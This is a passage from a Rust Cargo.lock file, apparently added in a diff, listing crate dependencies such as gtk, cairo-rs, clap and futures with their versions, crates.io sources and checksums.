"registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc7bb162ec39d46ab1ca8c77bf72e890535becd1751bb45f64c597edb4c8c6b3" + +[[package]] +name = "alloc-stdlib" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94fb8275041c72129eb51b7d0322c29b8387a0386127718b096429201a5d6ece" +dependencies = [ + "alloc-no-stdlib", +] + +[[package]] +name = "anyhow" +version = "1.0.68" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2cb2f989d18dd141ab8ae82f64d1a8cdd37e0840f73a406896cf5e99502fab61" + +[[package]] +name = "assert-cmp" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "737bf4aa6df38f69a17efc233b4d0343cc5aa0d2c3b53e7007bd4c9866038ffd" + +[[package]] +name = "atk" +version = "0.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c3d816ce6f0e2909a96830d6911c2aff044370b1ef92d7f267b43bae5addedd" +dependencies = [ + "atk-sys", + "bitflags", + "glib", + "libc", +] + +[[package]] +name = "atk-sys" +version = "0.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "58aeb089fb698e06db8089971c7ee317ab9644bade33383f63631437b03aafb6" +dependencies = [ + "glib-sys", + "gobject-sys", + "libc", + "system-deps 6.0.3", +] + +[[package]] +name = "attohttpc" +version = "0.22.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fcf00bc6d5abb29b5f97e3c61a90b6d3caa12f3faf897d4a3e3607c050a35a7" +dependencies = [ + "flate2", + "http", + "log", + "native-tls", + "serde", + "serde_json", + "serde_urlencoded", + "url", +] + +[[package]] +name = "autocfg" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" + +[[package]] +name = "base64" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8" + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "block" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d8c1fef690941d3e7788d328517591fecc684c084084702d6ff1641e993699a" + +[[package]] +name = "block-buffer" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69cce20737498f97b993470a6e536b8523f0af7892a4f928cceb1ac5e52ebe7e" +dependencies = [ + "generic-array", +] + +[[package]] +name = "brotli" +version = "3.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1a0b1dbcc8ae29329621f8d4f0d835787c1c38bb1401979b49d13b0b305ff68" +dependencies = [ + "alloc-no-stdlib", + "alloc-stdlib", + "brotli-decompressor", +] + +[[package]] +name = "brotli-decompressor" +version = "2.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b6561fd3f895a11e8f72af2cb7d22e08366bebc2b6b57f7744c4bda27034744" +dependencies = [ + "alloc-no-stdlib", + "alloc-stdlib", +] + +[[package]] +name = "bstr" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b45ea9b00a7b3f2988e9a65ad3917e62123c38dba709b666506207be96d1790b" +dependencies = [ + "memchr", + "serde", +] + +[[package]] +name = "bumpalo" +version = "3.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d261e256854913907f67ed06efbc3338dfe6179796deefc1ff763fc1aee5535" + +[[package]] +name = "bytemuck" +version = "1.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c041d3eab048880cb0b86b256447da3f18859a163c3b8d8893f4e6368abe6393" + +[[package]] +name = "byteorder" +version = "1.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610" + +[[package]] +name = "bytes" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dfb24e866b15a1af2a1b663f10c6b6b8f397a84aadb828f12e5b289ec23a3a3c" + +[[package]] +name = "cairo-rs" +version = "0.15.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c76ee391b03d35510d9fa917357c7f1855bd9a6659c95a1b392e33f49b3369bc" +dependencies = [ + "bitflags", + "cairo-sys-rs", + "glib", + "libc", + "thiserror", +] + +[[package]] +name = "cairo-sys-rs" +version = "0.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c55d429bef56ac9172d25fecb85dc8068307d17acd74b377866b7a1ef25d3c8" +dependencies = [ + "glib-sys", + "libc", + "system-deps 6.0.3", +] + +[[package]] +name = "cargo_toml" +version = "0.13.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "497049e9477329f8f6a559972ee42e117487d01d1e8c2cc9f836ea6fa23a9e1a" +dependencies = [ + "serde", + "toml", +] + +[[package]] +name = "cc" +version = "1.0.78" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a20104e2335ce8a659d6dd92a51a767a0c062599c73b343fd152cb401e828c3d" + +[[package]] +name = "cesu8" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6d43a04d8753f35258c91f8ec639f792891f748a1edbd759cf1dcea3382ad83c" + +[[package]] +name = "cfb" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "74f89d248799e3f15f91b70917f65381062a01bb8e222700ea0e5a7ff9785f9c" +dependencies = [ + "byteorder", + "uuid 0.8.2", +] + +[[package]] +name = "cfg-expr" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3431df59f28accaf4cb4eed4a9acc66bea3f3c3753aa6cdc2f024174ef232af7" +dependencies = [ + "smallvec", +] + +[[package]] +name = "cfg-expr" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b0357a6402b295ca3a86bc148e84df46c02e41f41fef186bda662557ef6328aa" +dependencies = [ + "smallvec", +] + +[[package]] +name = "cfg-if" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + +[[package]] +name = "clap" +version = "4.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f13b9c79b5d1dd500d20ef541215a6423c75829ef43117e1b4d17fd8af0b5d76" +dependencies = [ + "bitflags", + "clap_derive", + "clap_lex", + "is-terminal", + "once_cell", + "strsim", + "termcolor", +] + +[[package]] +name = "clap-utilities" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "15bcff807ef65113605e59223ac0ce77adc2cc0976e3ece014e0f2c17e4a7798" +dependencies = [ + "clap", + "clap_complete", + "pipe-trait", + "thiserror", +] + +[[package]] +name = "clap_complete" +version = "4.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6540eedc41f8a5a76cf3d8d458057dcdf817be4158a55b5f861f7a5483de75" +dependencies = [ + "clap", +] + +[[package]] +name = "clap_derive" +version = "4.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "684a277d672e91966334af371f1a7b5833f9aa00b07c84e92fbce95e00208ce8" +dependencies = [ + "heck 0.4.0", + "proc-macro-error", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "clap_lex" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "783fe232adfca04f90f56201b26d79682d4cd2625e0bc7290b95123afe558ade" +dependencies = [ + "os_str_bytes", +] + +[[package]] +name = "cocoa" +version = "0.24.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f425db7937052c684daec3bd6375c8abe2d146dca4b8b143d6db777c39138f3a" +dependencies = [ + "bitflags", + "block", + "cocoa-foundation", + "core-foundation", + "core-graphics", + "foreign-types", + "libc", + "objc", +] + +[[package]] +name = "cocoa-foundation" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ade49b65d560ca58c403a479bb396592b155c0185eada742ee323d1d68d6318" +dependencies = [ + "bitflags", + "block", + "core-foundation", + "core-graphics-types", + "foreign-types", + "libc", + "objc", +] + +[[package]] +name = "color_quant" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d7b894f5411737b7867f4827955924d7c254fc9f4d91a6aad6b097804b1018b" + +[[package]] +name = "combine" +version = "4.6.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "35ed6e9d84f0b51a7f52daf1c7d71dd136fd7a3f41a8462b8cdb8c78d920fad4" +dependencies = [ + "bytes", + "memchr", +] + +[[package]] +name = "convert_case" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6245d59a3e82a7fc217c5828a6692dbc6dfb63a0c8c90495621f7b9d79704a0e" + +[[package]] +name = "core-foundation" +version = "0.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "194a7a9e6de53fa55116934067c844d9d749312f75c6f6d0980e8c252f8c2146" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5827cebf4670468b8772dd191856768aedcb1b0278a04f989f7766351917b9dc" + +[[package]] +name = "core-graphics" +version = "0.22.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2581bbab3b8ffc6fcbd550bf46c355135d16e9ff2a6ea032ad6b9bf1d7efe4fb" +dependencies = [ + "bitflags", + "core-foundation", + "core-graphics-types", + "foreign-types", + "libc", +] + +[[package]] +name = "core-graphics-types" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3a68b68b3446082644c91ac778bf50cd4104bfb002b5a6a7c44cca5a2c70788b" +dependencies = [ + "bitflags", + "core-foundation", + "foreign-types", + "libc", +] + +[[package]] +name = "cpufeatures" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28d997bd5e24a5928dd43e46dc529867e207907fe0b239c3477d924f7f2ca320" +dependencies = [ + "libc", +] + +[[package]] +name = "crc32fast" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b540bd8bc810d3885c6ea91e2018302f68baba2129ab3e88f32389ee9370880d" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "crossbeam-channel" +version = "0.5.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2dd04ddaf88237dc3b8d8f9a3c1004b506b54b3313403944054d23c0870c521" +dependencies = [ + "cfg-if", + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-deque" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "715e8152b692bba2d374b53d4875445368fdf21a94751410af607a5ac677d1fc" +dependencies = [ + "cfg-if", + "crossbeam-epoch", + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-epoch" +version = "0.9.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "01a9af1f4c2ef74bb8aa1f7e19706bc72d03598c8a570bb5de72243c7a9d9d5a" +dependencies = [ + "autocfg", + "cfg-if", + "crossbeam-utils", + "memoffset 0.7.1", + "scopeguard", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4fb766fa798726286dbbb842f174001dab8abc7b627a1dd86e0b7222a95d929f" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "cssparser" +version = "0.27.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "754b69d351cdc2d8ee09ae203db831e005560fc6030da058f86ad60c92a9cb0a" +dependencies = [ + "cssparser-macros", + "dtoa-short", + "itoa 0.4.8", + "matches", + "phf 0.8.0", + "proc-macro2", + "quote", + "smallvec", + "syn", +] + +[[package]] +name = "cssparser-macros" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dfae75de57f2b2e85e8768c3ea840fd159c8f33e2b6522c7835b7abac81be16e" +dependencies = [ + "quote", + "syn", +] + +[[package]] +name = "ctor" +version = "0.1.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6d2301688392eb071b0bf1a37be05c469d3cc4dbbd95df672fe28ab021e6a096" +dependencies = [ + "quote", + "syn", +] + +[[package]] +name = "cty" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b365fabc795046672053e29c954733ec3b05e4be654ab130fe8f1f94d7051f35" + +[[package]] +name = "darling" +version = "0.12.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5f2c43f534ea4b0b049015d00269734195e6d3f0f6635cb692251aca6f9f8b3c" +dependencies = [ + "darling_core 0.12.4", + "darling_macro 0.12.4", +] + +[[package]] +name = "darling" +version = "0.13.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a01d95850c592940db9b8194bc39f4bc0e89dee5c4265e4b1807c34a9aba453c" +dependencies = [ + "darling_core 0.13.4", + "darling_macro 0.13.4", +] + +[[package]] +name = "darling_core" +version = "0.12.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e91455b86830a1c21799d94524df0845183fa55bafd9aa137b01c7d1065fa36" +dependencies = [ + "fnv", + "ident_case", + "proc-macro2", + "quote", + "strsim", + "syn", +] + +[[package]] +name = "darling_core" +version = "0.13.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "859d65a907b6852c9361e3185c862aae7fafd2887876799fa55f5f99dc40d610" +dependencies = [ + "fnv", + "ident_case", + "proc-macro2", + "quote", + "strsim", + "syn", +] + +[[package]] +name = "darling_macro" +version = "0.12.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29b5acf0dea37a7f66f7b25d2c5e93fd46f8f6968b1a5d7a3e02e97768afc95a" +dependencies = [ + "darling_core 0.12.4", + "quote", + "syn", +] + +[[package]] +name = "darling_macro" +version = "0.13.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c972679f83bdf9c42bd905396b6c3588a843a17f0f16dfcfa3e2c5d57441835" +dependencies = [ + "darling_core 0.13.4", + "quote", + "syn", +] + +[[package]] +name = "dbus" +version = "0.9.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bb21987b9fb1613058ba3843121dd18b163b254d8a6e797e144cbac14d96d1b" +dependencies = [ + "libc", + "libdbus-sys", + "winapi", +] + +[[package]] +name = "derive_builder" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d13202debe11181040ae9063d739fa32cfcaaebe2275fe387703460ae2365b30" +dependencies = [ + "derive_builder_macro", +] + +[[package]] +name = "derive_builder_core" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "66e616858f6187ed828df7c64a6d71720d83767a7f19740b2d1b6fe6327b36e5" +dependencies = [ + "darling 0.12.4", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "derive_builder_macro" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "58a94ace95092c5acb1e97a7e846b310cfbd499652f72297da7493f618a98d73" +dependencies = [ + "derive_builder_core", + "syn", +] + +[[package]] +name = "derive_more" +version = "0.99.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4fb810d30a7c1953f91334de7244731fc3f3c10d7fe163338a35b9f640960321" +dependencies = [ + "convert_case", + "proc-macro2", + "quote", + "rustc_version 0.4.0", + "syn", +] + +[[package]] +name = "digest" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8168378f4e5023e7218c89c891c0fd8ecdb5e5e4f18cb78f38cf245dd021e76f" +dependencies = [ + "block-buffer", + "crypto-common", +] + +[[package]] +name = "dirs-next" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b98cf8ebf19c3d1b223e151f99a4f9f0690dca41414773390fc824184ac833e1" +dependencies = [ + "cfg-if", + "dirs-sys-next", +] + +[[package]] +name = "dirs-sys-next" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ebda144c4fe02d1f7ea1a7d9641b6fc6b580adcfa024ae48797ecdeb6825b4d" +dependencies = [ + "libc", + "redox_users", + "winapi", +] + +[[package]] +name = "dispatch" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd0c93bb4b0c6d9b77f4435b0ae98c24d17f1c45b2ff844c6151a07256ca923b" + +[[package]] +name = "dtoa" +version = "0.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56899898ce76aaf4a0f24d914c97ea6ed976d42fec6ad33fcbb0a1103e07b2b0" + +[[package]] +name = "dtoa-short" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bde03329ae10e79ede66c9ce4dc930aa8599043b0743008548680f25b91502d6" +dependencies = [ + "dtoa", +] + +[[package]] +name = "dunce" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bd4b30a6560bbd9b4620f4de34c3f14f60848e58a9b7216801afcb4c7b31c3c" + +[[package]] +name = "either" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7fcaabb2fef8c910e7f4c7ce9f67a1283a1715879a7c230ca9d6d1ae31f16d91" + +[[package]] +name = "embed_plist" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ef6b89e5b37196644d8796de5268852ff179b44e96276cf4290264843743bb7" + +[[package]] +name = "encoding_rs" +version = "0.8.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9852635589dc9f9ea1b6fe9f05b50ef208c85c834a562f0c6abb1c475736ec2b" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "errno" +version = "0.2.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f639046355ee4f37944e44f60642c6f3a7efa3cf6b78c78a0d989a8ce6c396a1" +dependencies = [ + "errno-dragonfly", + "libc", + "winapi", +] + +[[package]] +name = "errno-dragonfly" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aa68f1b12764fab894d2755d2518754e71b4fd80ecfb822714a1206c2aab39bf" +dependencies = [ + "cc", + "libc", +] + +[[package]] +name = "fastrand" +version = "1.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7a407cfaa3385c4ae6b23e84623d48c2798d06e3e6a1878f7f59f17b3f86499" +dependencies = [ + "instant", +] + +[[package]] +name = "field-offset" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e1c54951450cbd39f3dbcf1005ac413b49487dabf18a720ad2383eccfeffb92" +dependencies = [ + "memoffset 0.6.5", + "rustc_version 0.3.3", +] + +[[package]] +name = "filetime" +version = "0.2.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e884668cd0c7480504233e951174ddc3b382f7c2666e3b7310b5c4e7b0c37f9" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "windows-sys 0.42.0", +] + +[[package]] +name = "flate2" +version = "1.0.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8a2db397cb1c8772f31494cb8917e48cd1e64f0fa7efac59fbd741a0a8ce841" +dependencies = [ + "crc32fast", + "miniz_oxide", +] + +[[package]] +name = "fmt-iter" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0b9289d76691c7084d8830f1d0a29ddefbad768f8b5f276e012840bb0fca610" +dependencies = [ + "derive_more", + "itertools", +] + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "foreign-types" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" +dependencies = [ + "foreign-types-shared", +] + +[[package]] +name = "foreign-types-shared" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" + +[[package]] +name = "form_urlencoded" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a9c384f161156f5260c24a097c56119f9be8c798586aecc13afbcbe7b7e26bf8" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "futf" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df420e2e84819663797d1ec6544b13c5be84629e7bb00dc960d6917db2987843" +dependencies = [ + "mac", + "new_debug_unreachable", +] + +[[package]] +name = "futures-channel" +version = "0.3.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52ba265a92256105f45b719605a571ffe2d1f0fea3807304b522c1d778f79eed" +dependencies = [ + "futures-core", +] + +[[package]] +name = "futures-core" +version = "0.3.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "04909a7a7e4633ae6c4a9ab280aeb86da1236243a77b694a49eacd659a4bd3ac" + +[[package]] +name = "futures-executor" +version = "0.3.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7acc85df6714c176ab5edf386123fafe217be88c0840ec11f199441134a074e2" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-io" +version = "0.3.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "00f5fb52a06bdcadeb54e8d3671f8888a39697dcb0b81b23b55174030427f4eb" + +[[package]] +name = "futures-macro" +version = "0.3.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bdfb8ce053d86b91919aad980c220b1fb8401a9394410e1c289ed7e66b61835d" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "futures-task" +version = "0.3.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2ffb393ac5d9a6eaa9d3fdf37ae2776656b706e200c8e16b1bdb227f5198e6ea" + +[[package]] +name = "futures-util" +version = "0.3.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "197676987abd2f9cadff84926f410af1c183608d36641465df73ae8211dc65d6" +dependencies = [ + "futures-core", + "futures-macro", + "futures-task", + "pin-project-lite", + "pin-utils", + "slab", +] + +[[package]] +name = "fxhash" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c31b6d751ae2c7f11320402d34e41349dd1016f8d5d45e48c4312bc8625af50c" +dependencies = [ + "byteorder", +] + +[[package]] +name = "gdk" +version = "0.15.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6e05c1f572ab0e1f15be94217f0dc29088c248b14f792a5ff0af0d84bcda9e8" +dependencies = [ + "bitflags", + "cairo-rs", + "gdk-pixbuf", + "gdk-sys", + "gio", + "glib", + "libc", + "pango", +] + +[[package]] +name = "gdk-pixbuf" +version = "0.15.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ad38dd9cc8b099cceecdf41375bb6d481b1b5a7cd5cd603e10a69a9383f8619a" +dependencies = [ + "bitflags", + "gdk-pixbuf-sys", + "gio", + "glib", + "libc", +] + +[[package]] +name = "gdk-pixbuf-sys" +version = "0.15.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "140b2f5378256527150350a8346dbdb08fadc13453a7a2d73aecd5fab3c402a7" +dependencies = [ + "gio-sys", + "glib-sys", + "gobject-sys", + "libc", + "system-deps 6.0.3", +] + +[[package]] +name = "gdk-sys" +version = "0.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32e7a08c1e8f06f4177fb7e51a777b8c1689f743a7bc11ea91d44d2226073a88" +dependencies = [ + "cairo-sys-rs", + "gdk-pixbuf-sys", + "gio-sys", + "glib-sys", + "gobject-sys", + "libc", + "pango-sys", + "pkg-config", + "system-deps 6.0.3", +] + +[[package]] +name = "gdkx11-sys" +version = "0.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4b7f8c7a84b407aa9b143877e267e848ff34106578b64d1e0a24bf550716178" +dependencies = [ + "gdk-sys", + "glib-sys", + "libc", + "system-deps 6.0.3", + "x11", +] + +[[package]] +name = "generator" +version = "0.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d266041a359dfa931b370ef684cceb84b166beb14f7f0421f4a6a3d0c446d12e" +dependencies = [ + "cc", + "libc", + "log", + "rustversion", + "windows 0.39.0", +] + +[[package]] +name = "generic-array" +version = "0.14.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bff49e947297f3312447abdca79f45f4738097cc82b06e72054d2223f601f1b9" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.1.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce" +dependencies = [ + "cfg-if", + "libc", + "wasi 0.9.0+wasi-snapshot-preview1", +] + +[[package]] +name = "getrandom" +version = "0.2.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c05aeb6a22b8f62540c194aac980f2115af067bfe15a0734d7277a768d396b31" +dependencies = [ + "cfg-if", + "libc", + "wasi 0.11.0+wasi-snapshot-preview1", +] + +[[package]] +name = "gio" +version = "0.15.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68fdbc90312d462781a395f7a16d96a2b379bb6ef8cd6310a2df272771c4283b" +dependencies = [ + "bitflags", + "futures-channel", + "futures-core", + "futures-io", + "gio-sys", + "glib", + "libc", + "once_cell", + "thiserror", +] + +[[package]] +name = "gio-sys" +version = "0.15.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32157a475271e2c4a023382e9cab31c4584ee30a97da41d3c4e9fdd605abcf8d" +dependencies = [ + "glib-sys", + "gobject-sys", + "libc", + "system-deps 6.0.3", + "winapi", +] + +[[package]] +name = "glib" +version = "0.15.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "edb0306fbad0ab5428b0ca674a23893db909a98582969c9b537be4ced78c505d" +dependencies = [ + "bitflags", + "futures-channel", + "futures-core", + "futures-executor", + "futures-task", + "glib-macros", + "glib-sys", + "gobject-sys", + "libc", + "once_cell", + "smallvec", + "thiserror", +] + +[[package]] +name = "glib-macros" +version = "0.15.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25a68131a662b04931e71891fb14aaf65ee4b44d08e8abc10f49e77418c86c64" +dependencies = [ + "anyhow", + "heck 0.4.0", + "proc-macro-crate", + "proc-macro-error", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "glib-sys" +version = "0.15.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef4b192f8e65e9cf76cbf4ea71fa8e3be4a0e18ffe3d68b8da6836974cc5bad4" +dependencies = [ + "libc", + "system-deps 6.0.3", +] + +[[package]] +name = "glob" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b" + +[[package]] +name = "globset" +version = "0.4.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "029d74589adefde59de1a0c4f4732695c32805624aec7b68d91503d4dba79afc" +dependencies = [ + "aho-corasick", + "bstr", + "fnv", + "log", + "regex", +] + +[[package]] +name = "gobject-sys" +version = "0.15.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d57ce44246becd17153bd035ab4d32cfee096a657fc01f2231c9278378d1e0a" +dependencies = [ + "glib-sys", + "libc", + "system-deps 6.0.3", +] + +[[package]] +name = "gtk" +version = "0.15.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92e3004a2d5d6d8b5057d2b57b3712c9529b62e82c77f25c1fecde1fd5c23bd0" +dependencies = [ + "atk", + "bitflags", + "cairo-rs", + "field-offset", + "futures-channel", + "gdk", + "gdk-pixbuf", + "gio", + "glib", + "gtk-sys", + "gtk3-macros", + "libc", + "once_cell", + "pango", + "pkg-config", +] + +[[package]] +name = "gtk-sys" +version = "0.15.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d5bc2f0587cba247f60246a0ca11fe25fb733eabc3de12d1965fc07efab87c84" +dependencies = [ + "atk-sys", + "cairo-sys-rs", + "gdk-pixbuf-sys", + "gdk-sys", + "gio-sys", + "glib-sys", + "gobject-sys", + "libc", + "pango-sys", + "system-deps 6.0.3", +] + +[[package]] +name = "gtk3-macros" +version = "0.15.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24f518afe90c23fba585b2d7697856f9e6a7bbc62f65588035e66f6afb01a2e9" +dependencies = [ + "anyhow", + "proc-macro-crate", + "proc-macro-error", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "hashbrown" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" + +[[package]] +name = "heck" +version = "0.3.3" +source = 